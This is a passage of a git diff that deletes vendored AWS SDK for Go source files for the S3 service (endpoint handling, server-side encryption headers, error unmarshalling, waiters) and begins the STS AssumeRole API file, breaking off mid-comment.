r.Handlers.Unmarshal.PushBack(useMD5ValidationReader) - } -} - -// bucketGetter is an accessor interface to grab the "Bucket" field from -// an S3 type. -type bucketGetter interface { - getBucket() string -} - -// sseCustomerKeyGetter is an accessor interface to grab the "SSECustomerKey" -// field from an S3 type. -type sseCustomerKeyGetter interface { - getSSECustomerKey() string -} - -// copySourceSSECustomerKeyGetter is an accessor interface to grab the -// "CopySourceSSECustomerKey" field from an S3 type. -type copySourceSSECustomerKeyGetter interface { - getCopySourceSSECustomerKey() string -} diff --git a/vendor/github.com/aws/aws-sdk-go/service/s3/doc.go b/vendor/github.com/aws/aws-sdk-go/service/s3/doc.go deleted file mode 100644 index 0def02255a..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/service/s3/doc.go +++ /dev/null @@ -1,26 +0,0 @@ -// Code generated by private/model/cli/gen-api/main.go. DO NOT EDIT. - -// Package s3 provides the client and types for making API -// requests to Amazon Simple Storage Service. -// -// See https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01 for more information on this service. -// -// See s3 package documentation for more information. -// https://docs.aws.amazon.com/sdk-for-go/api/service/s3/ -// -// Using the Client -// -// To contact Amazon Simple Storage Service with the SDK use the New function to create -// a new service client. With that client you can make API requests to the service. -// These clients are safe to use concurrently. -// -// See the SDK's documentation for more information on how to use the SDK. -// https://docs.aws.amazon.com/sdk-for-go/api/ -// -// See aws.Config documentation for more information on configuring SDK clients. -// https://docs.aws.amazon.com/sdk-for-go/api/aws/#Config -// -// See the Amazon Simple Storage Service client S3 for more -// information on creating client for this service. -// https://docs.aws.amazon.com/sdk-for-go/api/service/s3/#New -package s3 diff --git a/vendor/github.com/aws/aws-sdk-go/service/s3/doc_custom.go b/vendor/github.com/aws/aws-sdk-go/service/s3/doc_custom.go deleted file mode 100644 index 39b912c260..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/service/s3/doc_custom.go +++ /dev/null @@ -1,109 +0,0 @@ -// Upload Managers -// -// The s3manager package's Uploader provides concurrent upload of content to S3 -// by taking advantage of S3's Multipart APIs. The Uploader also supports both -// io.Reader for streaming uploads, and will also take advantage of io.ReadSeeker -// for optimizations if the Body satisfies that type. Once the Uploader instance -// is created you can call Upload concurrently from multiple goroutines safely. -// -// // The session the S3 Uploader will use -// sess := session.Must(session.NewSession()) -// -// // Create an uploader with the session and default options -// uploader := s3manager.NewUploader(sess) -// -// f, err := os.Open(filename) -// if err != nil { -// return fmt.Errorf("failed to open file %q, %v", filename, err) -// } -// -// // Upload the file to S3. -// result, err := uploader.Upload(&s3manager.UploadInput{ -// Bucket: aws.String(myBucket), -// Key: aws.String(myString), -// Body: f, -// }) -// if err != nil { -// return fmt.Errorf("failed to upload file, %v", err) -// } -// fmt.Printf("file uploaded to, %s\n", aws.StringValue(result.Location)) -// -// See the s3manager package's Uploader type documentation for more information. -// https://docs.aws.amazon.com/sdk-for-go/api/service/s3/s3manager/#Uploader -// -// Download Manager -// -// The s3manager package's Downloader provides concurrently downloading of Objects -// from S3. The Downloader will write S3 Object content with an io.WriterAt. -// Once the Downloader instance is created you can call Download concurrently from -// multiple goroutines safely. -// -// // The session the S3 Downloader will use -// sess := session.Must(session.NewSession()) -// -// // Create a downloader with the session and default options -// downloader := s3manager.NewDownloader(sess) -// -// // Create a file to write the S3 Object contents to. -// f, err := os.Create(filename) -// if err != nil { -// return fmt.Errorf("failed to create file %q, %v", filename, err) -// } -// -// // Write the contents of S3 Object to the file -// n, err := downloader.Download(f, &s3.GetObjectInput{ -// Bucket: aws.String(myBucket), -// Key: aws.String(myString), -// }) -// if err != nil { -// return fmt.Errorf("failed to download file, %v", err) -// } -// fmt.Printf("file downloaded, %d bytes\n", n) -// -// See the s3manager package's Downloader type documentation for more information. -// https://docs.aws.amazon.com/sdk-for-go/api/service/s3/s3manager/#Downloader -// -// Get Bucket Region -// -// GetBucketRegion will attempt to get the region for a bucket using a region -// hint to determine which AWS partition to perform the query on. Use this utility -// to determine the region a bucket is in. -// -// sess := session.Must(session.NewSession()) -// -// bucket := "my-bucket" -// region, err := s3manager.GetBucketRegion(ctx, sess, bucket, "us-west-2") -// if err != nil { -// if aerr, ok := err.(awserr.Error); ok && aerr.Code() == "NotFound" { -// fmt.Fprintf(os.Stderr, "unable to find bucket %s's region not found\n", bucket) -// } -// return err -// } -// fmt.Printf("Bucket %s is in %s region\n", bucket, region) -// -// See the s3manager package's GetBucketRegion function documentation for more information -// https://docs.aws.amazon.com/sdk-for-go/api/service/s3/s3manager/#GetBucketRegion -// -// S3 Crypto Client -// -// The s3crypto package provides the tools to upload and download encrypted -// content from S3. The Encryption and Decryption clients can be used concurrently -// once the client is created. -// -// sess := session.Must(session.NewSession()) -// -// // Create the decryption client. -// svc := s3crypto.NewDecryptionClient(sess) -// -// // The object will be downloaded from S3 and decrypted locally. By metadata -// // about the object's encryption will instruct the decryption client how -// // decrypt the content of the object. By default KMS is used for keys. -// result, err := svc.GetObject(&s3.GetObjectInput { -// Bucket: aws.String(myBucket), -// Key: aws.String(myKey), -// }) -// -// See the s3crypto package documentation for more information. -// https://docs.aws.amazon.com/sdk-for-go/api/service/s3/s3crypto/ -// -package s3 diff --git a/vendor/github.com/aws/aws-sdk-go/service/s3/errors.go b/vendor/github.com/aws/aws-sdk-go/service/s3/errors.go deleted file mode 100644 index 931cb17bb0..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/service/s3/errors.go +++ /dev/null @@ -1,48 +0,0 @@ -// Code generated by private/model/cli/gen-api/main.go. DO NOT EDIT. - -package s3 - -const ( - - // ErrCodeBucketAlreadyExists for service response error code - // "BucketAlreadyExists". - // - // The requested bucket name is not available. The bucket namespace is shared - // by all users of the system. Please select a different name and try again. - ErrCodeBucketAlreadyExists = "BucketAlreadyExists" - - // ErrCodeBucketAlreadyOwnedByYou for service response error code - // "BucketAlreadyOwnedByYou". - ErrCodeBucketAlreadyOwnedByYou = "BucketAlreadyOwnedByYou" - - // ErrCodeNoSuchBucket for service response error code - // "NoSuchBucket". - // - // The specified bucket does not exist. - ErrCodeNoSuchBucket = "NoSuchBucket" - - // ErrCodeNoSuchKey for service response error code - // "NoSuchKey". - // - // The specified key does not exist. - ErrCodeNoSuchKey = "NoSuchKey" - - // ErrCodeNoSuchUpload for service response error code - // "NoSuchUpload". - // - // The specified multipart upload does not exist. - ErrCodeNoSuchUpload = "NoSuchUpload" - - // ErrCodeObjectAlreadyInActiveTierError for service response error code - // "ObjectAlreadyInActiveTierError". - // - // This operation is not allowed against this storage tier - ErrCodeObjectAlreadyInActiveTierError = "ObjectAlreadyInActiveTierError" - - // ErrCodeObjectNotInActiveTierError for service response error code - // "ObjectNotInActiveTierError". - // - // The source object of the COPY operation is not in the active tier and is - // only stored in Amazon Glacier. - ErrCodeObjectNotInActiveTierError = "ObjectNotInActiveTierError" -) diff --git a/vendor/github.com/aws/aws-sdk-go/service/s3/host_style_bucket.go b/vendor/github.com/aws/aws-sdk-go/service/s3/host_style_bucket.go deleted file mode 100644 index a7fbc2de2f..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/service/s3/host_style_bucket.go +++ /dev/null @@ -1,155 +0,0 @@ -package s3 - -import ( - "fmt" - "net/url" - "regexp" - "strings" - - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/awserr" - "github.com/aws/aws-sdk-go/aws/request" -) - -// an operationBlacklist is a list of operation names that should a -// request handler should not be executed with. -type operationBlacklist []string - -// Continue will return true of the Request's operation name is not -// in the blacklist. False otherwise. -func (b operationBlacklist) Continue(r *request.Request) bool { - for i := 0; i < len(b); i++ { - if b[i] == r.Operation.Name { - return false - } - } - return true -} - -var accelerateOpBlacklist = operationBlacklist{ - opListBuckets, opCreateBucket, opDeleteBucket, -} - -// Request handler to automatically add the bucket name to the endpoint domain -// if possible. This style of bucket is valid for all bucket names which are -// DNS compatible and do not contain "." -func updateEndpointForS3Config(r *request.Request) { - forceHostStyle := aws.BoolValue(r.Config.S3ForcePathStyle) - accelerate := aws.BoolValue(r.Config.S3UseAccelerate) - - if accelerate && accelerateOpBlacklist.Continue(r) { - if forceHostStyle { - if r.Config.Logger != nil { - r.Config.Logger.Log("ERROR: aws.Config.S3UseAccelerate is not compatible with aws.Config.S3ForcePathStyle, ignoring S3ForcePathStyle.") - } - } - updateEndpointForAccelerate(r) - } else if !forceHostStyle && r.Operation.Name != opGetBucketLocation { - updateEndpointForHostStyle(r) - } -} - -func updateEndpointForHostStyle(r *request.Request) { - bucket, ok := bucketNameFromReqParams(r.Params) - if !ok { - // Ignore operation requests if the bucketname was not provided - // if this is an input validation error the validation handler - // will report it. - return - } - - if !hostCompatibleBucketName(r.HTTPRequest.URL, bucket) { - // bucket name must be valid to put into the host - return - } - - moveBucketToHost(r.HTTPRequest.URL, bucket) -} - -var ( - accelElem = []byte("s3-accelerate.dualstack.") -) - -func updateEndpointForAccelerate(r *request.Request) { - bucket, ok := bucketNameFromReqParams(r.Params) - if !ok { - // Ignore operation requests if the bucketname was not provided - // if this is an input validation error the validation handler - // will report it. - return - } - - if !hostCompatibleBucketName(r.HTTPRequest.URL, bucket) { - r.Error = awserr.New("InvalidParameterException", - fmt.Sprintf("bucket name %s is not compatible with S3 Accelerate", bucket), - nil) - return - } - - parts := strings.Split(r.HTTPRequest.URL.Host, ".") - if len(parts) < 3 { - r.Error = awserr.New("InvalidParameterExecption", - fmt.Sprintf("unable to update endpoint host for S3 accelerate, hostname invalid, %s", - r.HTTPRequest.URL.Host), nil) - return - } - - if parts[0] == "s3" || strings.HasPrefix(parts[0], "s3-") { - parts[0] = "s3-accelerate" - } - for i := 1; i+1 < len(parts); i++ { - if parts[i] == aws.StringValue(r.Config.Region) { - parts = append(parts[:i], parts[i+1:]...) - break - } - } - - r.HTTPRequest.URL.Host = strings.Join(parts, ".") - - moveBucketToHost(r.HTTPRequest.URL, bucket) -} - -// Attempts to retrieve the bucket name from the request input parameters. -// If no bucket is found, or the field is empty "", false will be returned. -func bucketNameFromReqParams(params interface{}) (string, bool) { - if iface, ok := params.(bucketGetter); ok { - b := iface.getBucket() - return b, len(b) > 0 - } - - return "", false -} - -// hostCompatibleBucketName returns true if the request should -// put the bucket in the host. This is false if S3ForcePathStyle is -// explicitly set or if the bucket is not DNS compatible. -func hostCompatibleBucketName(u *url.URL, bucket string) bool { - // Bucket might be DNS compatible but dots in the hostname will fail - // certificate validation, so do not use host-style. - if u.Scheme == "https" && strings.Contains(bucket, ".") { - return false - } - - // if the bucket is DNS compatible - return dnsCompatibleBucketName(bucket) -} - -var reDomain = regexp.MustCompile(`^[a-z0-9][a-z0-9\.\-]{1,61}[a-z0-9]$`) -var reIPAddress = regexp.MustCompile(`^(\d+\.){3}\d+$`) - -// dnsCompatibleBucketName returns true if the bucket name is DNS compatible. -// Buckets created outside of the classic region MUST be DNS compatible. -func dnsCompatibleBucketName(bucket string) bool { - return reDomain.MatchString(bucket) && - !reIPAddress.MatchString(bucket) && - !strings.Contains(bucket, "..") -} - -// moveBucketToHost moves the bucket name from the URI path to URL host. -func moveBucketToHost(u *url.URL, bucket string) { - u.Host = bucket + "." + u.Host - u.Path = strings.Replace(u.Path, "/{Bucket}", "", -1) - if u.Path == "" { - u.Path = "/" - } -} diff --git a/vendor/github.com/aws/aws-sdk-go/service/s3/platform_handlers.go b/vendor/github.com/aws/aws-sdk-go/service/s3/platform_handlers.go deleted file mode 100644 index 8e6f3307d4..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/service/s3/platform_handlers.go +++ /dev/null @@ -1,8 +0,0 @@ -// +build !go1.6 - -package s3 - -import "github.com/aws/aws-sdk-go/aws/request" - -func platformRequestHandlers(r *request.Request) { -} diff --git a/vendor/github.com/aws/aws-sdk-go/service/s3/platform_handlers_go1.6.go b/vendor/github.com/aws/aws-sdk-go/service/s3/platform_handlers_go1.6.go deleted file mode 100644 index 14d05f7b75..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/service/s3/platform_handlers_go1.6.go +++ /dev/null @@ -1,28 +0,0 @@ -// +build go1.6 - -package s3 - -import ( - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/request" -) - -func platformRequestHandlers(r *request.Request) { - if r.Operation.HTTPMethod == "PUT" { - // 100-Continue should only be used on put requests. - r.Handlers.Sign.PushBack(add100Continue) - } -} - -func add100Continue(r *request.Request) { - if aws.BoolValue(r.Config.S3Disable100Continue) { - return - } - if r.HTTPRequest.ContentLength < 1024*1024*2 { - // Ignore requests smaller than 2MB. This helps prevent delaying - // requests unnecessarily. - return - } - - r.HTTPRequest.Header.Set("Expect", "100-Continue") -} diff --git a/vendor/github.com/aws/aws-sdk-go/service/s3/service.go b/vendor/github.com/aws/aws-sdk-go/service/s3/service.go deleted file mode 100644 index d17dcc9dad..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/service/s3/service.go +++ /dev/null @@ -1,99 +0,0 @@ -// Code generated by private/model/cli/gen-api/main.go. DO NOT EDIT. - -package s3 - -import ( - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/client" - "github.com/aws/aws-sdk-go/aws/client/metadata" - "github.com/aws/aws-sdk-go/aws/request" - "github.com/aws/aws-sdk-go/aws/signer/v4" - "github.com/aws/aws-sdk-go/private/protocol/restxml" -) - -// S3 provides the API operation methods for making requests to -// Amazon Simple Storage Service. See this package's package overview docs -// for details on the service. -// -// S3 methods are safe to use concurrently. It is not safe to -// modify mutate any of the struct's properties though. -type S3 struct { - *client.Client -} - -// Used for custom client initialization logic -var initClient func(*client.Client) - -// Used for custom request initialization logic -var initRequest func(*request.Request) - -// Service information constants -const ( - ServiceName = "s3" // Name of service. - EndpointsID = ServiceName // ID to lookup a service endpoint with. - ServiceID = "S3" // ServiceID is a unique identifer of a specific service. -) - -// New creates a new instance of the S3 client with a session. -// If additional configuration is needed for the client instance use the optional -// aws.Config parameter to add your extra config. -// -// Example: -// // Create a S3 client from just a session. -// svc := s3.New(mySession) -// -// // Create a S3 client with additional configuration -// svc := s3.New(mySession, aws.NewConfig().WithRegion("us-west-2")) -func New(p client.ConfigProvider, cfgs ...*aws.Config) *S3 { - c := p.ClientConfig(EndpointsID, cfgs...) - return newClient(*c.Config, c.Handlers, c.Endpoint, c.SigningRegion, c.SigningName) -} - -// newClient creates, initializes and returns a new service client instance. -func newClient(cfg aws.Config, handlers request.Handlers, endpoint, signingRegion, signingName string) *S3 { - svc := &S3{ - Client: client.New( - cfg, - metadata.ClientInfo{ - ServiceName: ServiceName, - ServiceID: ServiceID, - SigningName: signingName, - SigningRegion: signingRegion, - Endpoint: endpoint, - APIVersion: "2006-03-01", - }, - handlers, - ), - } - - // Handlers - svc.Handlers.Sign.PushBackNamed(v4.BuildNamedHandler(v4.SignRequestHandler.Name, func(s *v4.Signer) { - s.DisableURIPathEscaping = true - })) - svc.Handlers.Build.PushBackNamed(restxml.BuildHandler) - svc.Handlers.Unmarshal.PushBackNamed(restxml.UnmarshalHandler) - svc.Handlers.UnmarshalMeta.PushBackNamed(restxml.UnmarshalMetaHandler) - svc.Handlers.UnmarshalError.PushBackNamed(restxml.UnmarshalErrorHandler) - - svc.Handlers.UnmarshalStream.PushBackNamed(restxml.UnmarshalHandler) - - // Run custom client initialization if present - if initClient != nil { - initClient(svc.Client) - } - - return svc -} - -// newRequest creates a new request for a S3 operation and runs any -// custom request initialization. -func (c *S3) newRequest(op *request.Operation, params, data interface{}) *request.Request { - req := c.NewRequest(op, params, data) - - // Run custom request initialization if present - if initRequest != nil { - initRequest(req) - } - - return req -} diff --git a/vendor/github.com/aws/aws-sdk-go/service/s3/sse.go b/vendor/github.com/aws/aws-sdk-go/service/s3/sse.go deleted file mode 100644 index 8010c4fa19..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/service/s3/sse.go +++ /dev/null @@ -1,54 +0,0 @@ -package s3 - -import ( - "crypto/md5" - "encoding/base64" - - "github.com/aws/aws-sdk-go/aws/awserr" - "github.com/aws/aws-sdk-go/aws/request" -) - -var errSSERequiresSSL = awserr.New("ConfigError", "cannot send SSE keys over HTTP.", nil) - -func validateSSERequiresSSL(r *request.Request) { - if r.HTTPRequest.URL.Scheme == "https" { - return - } - - if iface, ok := r.Params.(sseCustomerKeyGetter); ok { - if len(iface.getSSECustomerKey()) > 0 { - r.Error = errSSERequiresSSL - return - } - } - - if iface, ok := r.Params.(copySourceSSECustomerKeyGetter); ok { - if len(iface.getCopySourceSSECustomerKey()) > 0 { - r.Error = errSSERequiresSSL - return - } - } -} - -func computeSSEKeys(r *request.Request) { - headers := []string{ - "x-amz-server-side-encryption-customer-key", - "x-amz-copy-source-server-side-encryption-customer-key", - } - - for _, h := range headers { - md5h := h + "-md5" - if key := r.HTTPRequest.Header.Get(h); key != "" { - // Base64-encode the value - b64v := base64.StdEncoding.EncodeToString([]byte(key)) - r.HTTPRequest.Header.Set(h, b64v) - - // Add MD5 if it wasn't computed - if r.HTTPRequest.Header.Get(md5h) == "" { - sum := md5.Sum([]byte(key)) - b64sum := base64.StdEncoding.EncodeToString(sum[:]) - r.HTTPRequest.Header.Set(md5h, b64sum) - } - } - } -} diff --git a/vendor/github.com/aws/aws-sdk-go/service/s3/statusok_error.go b/vendor/github.com/aws/aws-sdk-go/service/s3/statusok_error.go deleted file mode 100644 index fde3050f95..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/service/s3/statusok_error.go +++ /dev/null @@ -1,40 +0,0 @@ -package s3 - -import ( - "bytes" - "io/ioutil" - "net/http" - - "github.com/aws/aws-sdk-go/aws/awserr" - "github.com/aws/aws-sdk-go/aws/request" - "github.com/aws/aws-sdk-go/internal/sdkio" -) - -func copyMultipartStatusOKUnmarhsalError(r *request.Request) { - b, err := ioutil.ReadAll(r.HTTPResponse.Body) - if err != nil { - r.Error = awserr.NewRequestFailure( - awserr.New("SerializationError", "unable to read response body", err), - r.HTTPResponse.StatusCode, - r.RequestID, - ) - return - } - body := bytes.NewReader(b) - r.HTTPResponse.Body = ioutil.NopCloser(body) - defer body.Seek(0, sdkio.SeekStart) - - if body.Len() == 0 { - // If there is no body don't attempt to parse the body. - return - } - - unmarshalError(r) - if err, ok := r.Error.(awserr.Error); ok && err != nil { - if err.Code() == "SerializationError" { - r.Error = nil - return - } - r.HTTPResponse.StatusCode = http.StatusServiceUnavailable - } -} diff --git a/vendor/github.com/aws/aws-sdk-go/service/s3/unmarshal_error.go b/vendor/github.com/aws/aws-sdk-go/service/s3/unmarshal_error.go deleted file mode 100644 index 1db7e133ba..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/service/s3/unmarshal_error.go +++ /dev/null @@ -1,82 +0,0 @@ -package s3 - -import ( - "encoding/xml" - "fmt" - "io" - "io/ioutil" - "net/http" - "strings" - - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/awserr" - "github.com/aws/aws-sdk-go/aws/request" -) - -type xmlErrorResponse struct { - XMLName xml.Name `xml:"Error"` - Code string `xml:"Code"` - Message string `xml:"Message"` -} - -func unmarshalError(r *request.Request) { - defer r.HTTPResponse.Body.Close() - defer io.Copy(ioutil.Discard, r.HTTPResponse.Body) - - // Bucket exists in a different region, and request needs - // to be made to the correct region. - if r.HTTPResponse.StatusCode == http.StatusMovedPermanently { - msg := fmt.Sprintf( - "incorrect region, the bucket is not in '%s' region at endpoint '%s'", - aws.StringValue(r.Config.Region), - aws.StringValue(r.Config.Endpoint), - ) - if v := r.HTTPResponse.Header.Get("x-amz-bucket-region"); len(v) != 0 { - msg += fmt.Sprintf(", bucket is in '%s' region", v) - } - r.Error = awserr.NewRequestFailure( - awserr.New("BucketRegionError", msg, nil), - r.HTTPResponse.StatusCode, - r.RequestID, - ) - return - } - - var errCode, errMsg string - - // Attempt to parse error from body if it is known - resp := &xmlErrorResponse{} - err := xml.NewDecoder(r.HTTPResponse.Body).Decode(resp) - if err != nil && err != io.EOF { - errCode = "SerializationError" - errMsg = "failed to decode S3 XML error response" - } else { - errCode = resp.Code - errMsg = resp.Message - err = nil - } - - // Fallback to status code converted to message if still no error code - if len(errCode) == 0 { - statusText := http.StatusText(r.HTTPResponse.StatusCode) - errCode = strings.Replace(statusText, " ", "", -1) - errMsg = statusText - } - - r.Error = awserr.NewRequestFailure( - awserr.New(errCode, errMsg, err), - r.HTTPResponse.StatusCode, - r.RequestID, - ) -} - -// A RequestFailure provides access to the S3 Request ID and Host ID values -// returned from API operation errors. Getting the error as a string will -// return the formated error with the same information as awserr.RequestFailure, -// while also adding the HostID value from the response. -type RequestFailure interface { - awserr.RequestFailure - - // Host ID is the S3 Host ID needed for debug, and contacting support - HostID() string -} diff --git a/vendor/github.com/aws/aws-sdk-go/service/s3/waiters.go b/vendor/github.com/aws/aws-sdk-go/service/s3/waiters.go deleted file mode 100644 index 2596c694b5..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/service/s3/waiters.go +++ /dev/null @@ -1,214 +0,0 @@ -// Code generated by private/model/cli/gen-api/main.go. DO NOT EDIT. - -package s3 - -import ( - "time" - - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/request" -) - -// WaitUntilBucketExists uses the Amazon S3 API operation -// HeadBucket to wait for a condition to be met before returning. -// If the condition is not met within the max attempt window, an error will -// be returned. -func (c *S3) WaitUntilBucketExists(input *HeadBucketInput) error { - return c.WaitUntilBucketExistsWithContext(aws.BackgroundContext(), input) -} - -// WaitUntilBucketExistsWithContext is an extended version of WaitUntilBucketExists. -// With the support for passing in a context and options to configure the -// Waiter and the underlying request options. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) WaitUntilBucketExistsWithContext(ctx aws.Context, input *HeadBucketInput, opts ...request.WaiterOption) error { - w := request.Waiter{ - Name: "WaitUntilBucketExists", - MaxAttempts: 20, - Delay: request.ConstantWaiterDelay(5 * time.Second), - Acceptors: []request.WaiterAcceptor{ - { - State: request.SuccessWaiterState, - Matcher: request.StatusWaiterMatch, - Expected: 200, - }, - { - State: request.SuccessWaiterState, - Matcher: request.StatusWaiterMatch, - Expected: 301, - }, - { - State: request.SuccessWaiterState, - Matcher: request.StatusWaiterMatch, - Expected: 403, - }, - { - State: request.RetryWaiterState, - Matcher: request.StatusWaiterMatch, - Expected: 404, - }, - }, - Logger: c.Config.Logger, - NewRequest: func(opts []request.Option) (*request.Request, error) { - var inCpy *HeadBucketInput - if input != nil { - tmp := *input - inCpy = &tmp - } - req, _ := c.HeadBucketRequest(inCpy) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return req, nil - }, - } - w.ApplyOptions(opts...) - - return w.WaitWithContext(ctx) -} - -// WaitUntilBucketNotExists uses the Amazon S3 API operation -// HeadBucket to wait for a condition to be met before returning. -// If the condition is not met within the max attempt window, an error will -// be returned. -func (c *S3) WaitUntilBucketNotExists(input *HeadBucketInput) error { - return c.WaitUntilBucketNotExistsWithContext(aws.BackgroundContext(), input) -} - -// WaitUntilBucketNotExistsWithContext is an extended version of WaitUntilBucketNotExists. -// With the support for passing in a context and options to configure the -// Waiter and the underlying request options. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) WaitUntilBucketNotExistsWithContext(ctx aws.Context, input *HeadBucketInput, opts ...request.WaiterOption) error { - w := request.Waiter{ - Name: "WaitUntilBucketNotExists", - MaxAttempts: 20, - Delay: request.ConstantWaiterDelay(5 * time.Second), - Acceptors: []request.WaiterAcceptor{ - { - State: request.SuccessWaiterState, - Matcher: request.StatusWaiterMatch, - Expected: 404, - }, - }, - Logger: c.Config.Logger, - NewRequest: func(opts []request.Option) (*request.Request, error) { - var inCpy *HeadBucketInput - if input != nil { - tmp := *input - inCpy = &tmp - } - req, _ := c.HeadBucketRequest(inCpy) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return req, nil - }, - } - w.ApplyOptions(opts...) - - return w.WaitWithContext(ctx) -} - -// WaitUntilObjectExists uses the Amazon S3 API operation -// HeadObject to wait for a condition to be met before returning. -// If the condition is not met within the max attempt window, an error will -// be returned. -func (c *S3) WaitUntilObjectExists(input *HeadObjectInput) error { - return c.WaitUntilObjectExistsWithContext(aws.BackgroundContext(), input) -} - -// WaitUntilObjectExistsWithContext is an extended version of WaitUntilObjectExists. -// With the support for passing in a context and options to configure the -// Waiter and the underlying request options. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) WaitUntilObjectExistsWithContext(ctx aws.Context, input *HeadObjectInput, opts ...request.WaiterOption) error { - w := request.Waiter{ - Name: "WaitUntilObjectExists", - MaxAttempts: 20, - Delay: request.ConstantWaiterDelay(5 * time.Second), - Acceptors: []request.WaiterAcceptor{ - { - State: request.SuccessWaiterState, - Matcher: request.StatusWaiterMatch, - Expected: 200, - }, - { - State: request.RetryWaiterState, - Matcher: request.StatusWaiterMatch, - Expected: 404, - }, - }, - Logger: c.Config.Logger, - NewRequest: func(opts []request.Option) (*request.Request, error) { - var inCpy *HeadObjectInput - if input != nil { - tmp := *input - inCpy = &tmp - } - req, _ := c.HeadObjectRequest(inCpy) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return req, nil - }, - } - w.ApplyOptions(opts...) - - return w.WaitWithContext(ctx) -} - -// WaitUntilObjectNotExists uses the Amazon S3 API operation -// HeadObject to wait for a condition to be met before returning. -// If the condition is not met within the max attempt window, an error will -// be returned. -func (c *S3) WaitUntilObjectNotExists(input *HeadObjectInput) error { - return c.WaitUntilObjectNotExistsWithContext(aws.BackgroundContext(), input) -} - -// WaitUntilObjectNotExistsWithContext is an extended version of WaitUntilObjectNotExists. -// With the support for passing in a context and options to configure the -// Waiter and the underlying request options. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) WaitUntilObjectNotExistsWithContext(ctx aws.Context, input *HeadObjectInput, opts ...request.WaiterOption) error { - w := request.Waiter{ - Name: "WaitUntilObjectNotExists", - MaxAttempts: 20, - Delay: request.ConstantWaiterDelay(5 * time.Second), - Acceptors: []request.WaiterAcceptor{ - { - State: request.SuccessWaiterState, - Matcher: request.StatusWaiterMatch, - Expected: 404, - }, - }, - Logger: c.Config.Logger, - NewRequest: func(opts []request.Option) (*request.Request, error) { - var inCpy *HeadObjectInput - if input != nil { - tmp := *input - inCpy = &tmp - } - req, _ := c.HeadObjectRequest(inCpy) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return req, nil - }, - } - w.ApplyOptions(opts...) - - return w.WaitWithContext(ctx) -} diff --git a/vendor/github.com/aws/aws-sdk-go/service/sts/api.go b/vendor/github.com/aws/aws-sdk-go/service/sts/api.go deleted file mode 100644 index 8113089649..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/service/sts/api.go +++ /dev/null @@ -1,2401 +0,0 @@ -// Code generated by private/model/cli/gen-api/main.go. DO NOT EDIT. - -package sts - -import ( - "time" - - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/awsutil" - "github.com/aws/aws-sdk-go/aws/credentials" - "github.com/aws/aws-sdk-go/aws/request" -) - -const opAssumeRole = "AssumeRole" - -// AssumeRoleRequest generates a "aws/request.Request" representing the -// client's request for the AssumeRole operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See AssumeRole for more information on using the AssumeRole -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the AssumeRoleRequest method. -// req, resp := client.AssumeRoleRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/sts-2011-06-15/AssumeRole -func (c *STS) AssumeRoleRequest(input *AssumeRoleInput) (req *request.Request, output *AssumeRoleOutput) { - op := &request.Operation{ - Name: opAssumeRole, - HTTPMethod: "POST", - HTTPPath: "/", - } - - if input == nil { - input = &AssumeRoleInput{} - } - - output = &AssumeRoleOutput{} - req = c.newRequest(op, input, output) - return -} - -// AssumeRole API operation for AWS Security Token Service. -// -// Returns a set of temporary security credentials (consisting of an access -// key ID, a secret access key, and a security token) that you can use to access -// AWS resources that you might not normally have access to. Typically, you -// use AssumeRole for cross-account access or federation. For a comparison of -// AssumeRole with the other APIs that produce temporary credentials, see Requesting -// Temporary Security Credentials (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html) -// and Comparing the AWS STS APIs (http://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html#stsapi_comparison) -// in the IAM User Guide. -// -// Important: You cannot call AssumeRole by using AWS root account credentials; -// access is denied. You must use credentials for an IAM user or an IAM role -// to call AssumeRole. -// -// For cross-account access, imagine that you own multiple accounts and need -// to access resources in each account. You could create long-term credentials -// in each account to access those resources. However, managing all those credentials -// and remembering which one can access which account can be time consuming. -// Instead, you can create one set of long-term credentials in one account and -// then use temporary security credentials to access all the other accounts -// by assuming roles in those accounts. For more information about roles, see -// IAM Roles (Delegation and Federation) (http://docs.aws.amazon.com/IAM/latest/UserGuide/roles-toplevel.html) -// in the IAM User Guide. -// -// For federation, you can, for example, grant single sign-on access to the -// AWS Management Console. If you already have an identity and 